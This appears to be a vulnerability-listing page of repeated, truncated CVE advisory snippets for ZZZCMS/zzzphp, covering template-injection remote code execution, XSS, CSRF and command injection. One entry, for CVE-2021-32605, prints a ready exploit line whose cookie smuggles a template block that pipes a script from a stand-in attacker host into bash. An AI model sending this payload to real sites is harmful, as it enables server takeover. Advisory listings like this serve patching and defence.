CVE-2022-23881

ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution RCE vulnerability via dangerkey at zzztemplate.php...

ZZZCMS zzzphp 安全漏洞

ZZZCMS zzzphp is a content management system CMS. A security vulnerability exists in ZZZCMS zzzphp version v2.1.0, which stems from incomplete filtering of user-entered parameters by the dangerkey function in zzztemplate.php...

CVE-2022-23881: Undefined Security Weakness

ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution RCE vulnerability via dangerkey at zzztemplate.php...

ZZZCMS Cross-Site Scripting Vulnerability

ZZZCMS is a content management system CMS from the ZZZCMS team in China. ZZZCMS suffers from a cross-site scripting vulnerability that stems from a lack of data validation filtering of user-supplied and output data in the editfile action of /adminxxx/save.php. An attacker could exploit the...

CVE-2020-19683

A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...

CVE-2020-19683

A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...

CVE-2020-19682

A Cross Site Request Forgery CSRF vulnerability exits in ZZZCMS V1.7.1 via the saveuser funciton in save.php...

Cross site scripting

A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...

Cross site request forgery (csrf)

A Cross Site Request Forgery CSRF vulnerability exits in ZZZCMS V1.7.1 via the saveuser funciton in save.php...

CVE-2020-19683

A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...

CVE-2020-19683

CVE-2020-19683 affects ZZZCMS CMS version 1.7.1, with a Cross-Site Scripting (XSS) vulnerability exploitable via the editfile action in save.php. The root cause is lack of proper data validation/filtering of user-supplied and output data in the editfile/save pathway. Public sources (CNVD/CNNVD an...

CVE-2020-19682

A Cross Site Request Forgery CSRF vulnerability exits in ZZZCMS V1.7.1 via the saveuser funciton in save.php...

CVE-2020-19682

CVE-2020-19682 is a CSRF vulnerability in ZZZCMS V1.7.1, exposed via the save_user function in save.php. Multiple sources (NVD, Red Hat, CVE lists, CNNVD) describe the issue as CSRF due to a lack of token validation in the save_user path. CVSS metrics indicate a high-severity impact (CVSS 3.1: Ne...

PT-2021-10387

Name of the Vulnerable Software and Affected Versions: ZZZCMS version 1.7.1 Description: A Cross Site Request Forgery CSRF issue exists via the save user function in the "save.php" endpoint. This allows for unauthorized actions to be performed on behalf of a user. Recommendations: For ZZZCMS...

PT-2021-10388

Name of the Vulnerable Software and Affected Versions: ZZZCMS version 1.7.1 Description: A Cross Site Scripting XSS issue exists via an editfile action in the "save.php" endpoint. This allows for potential malicious script execution. Recommendations: For ZZZCMS version 1.7.1, consider restricting...

CVE-2020-19683: Improper Neutralization of Input During Web Page Generation

A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...

CVE-2020-19682: Cross-Site Request Forgery (CSRF)

A Cross Site Request Forgery CSRF vulnerability exits in ZZZCMS V1.7.1 via the saveuser funciton in save.php...

zzzcms zzzphp parserIfLabel模板注入远程执行代码漏洞（CVE-2021-32605）

curl -b 'keys=if:=curl http://attacker.tld/poc.sh|bashend if' 'http://target.tld/?location=search'...

Zzzcms Command Injection Vulnerability

ZZZCMS zzzphp is a content management system CMS. A security vulnerability exists in Zzzcms prior to version 2.0.4. The vulnerability stems from the failure of a network system or product to properly filter special characters, commands, etc. during the execution of user input construction command...

CVE-2021-32605

zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...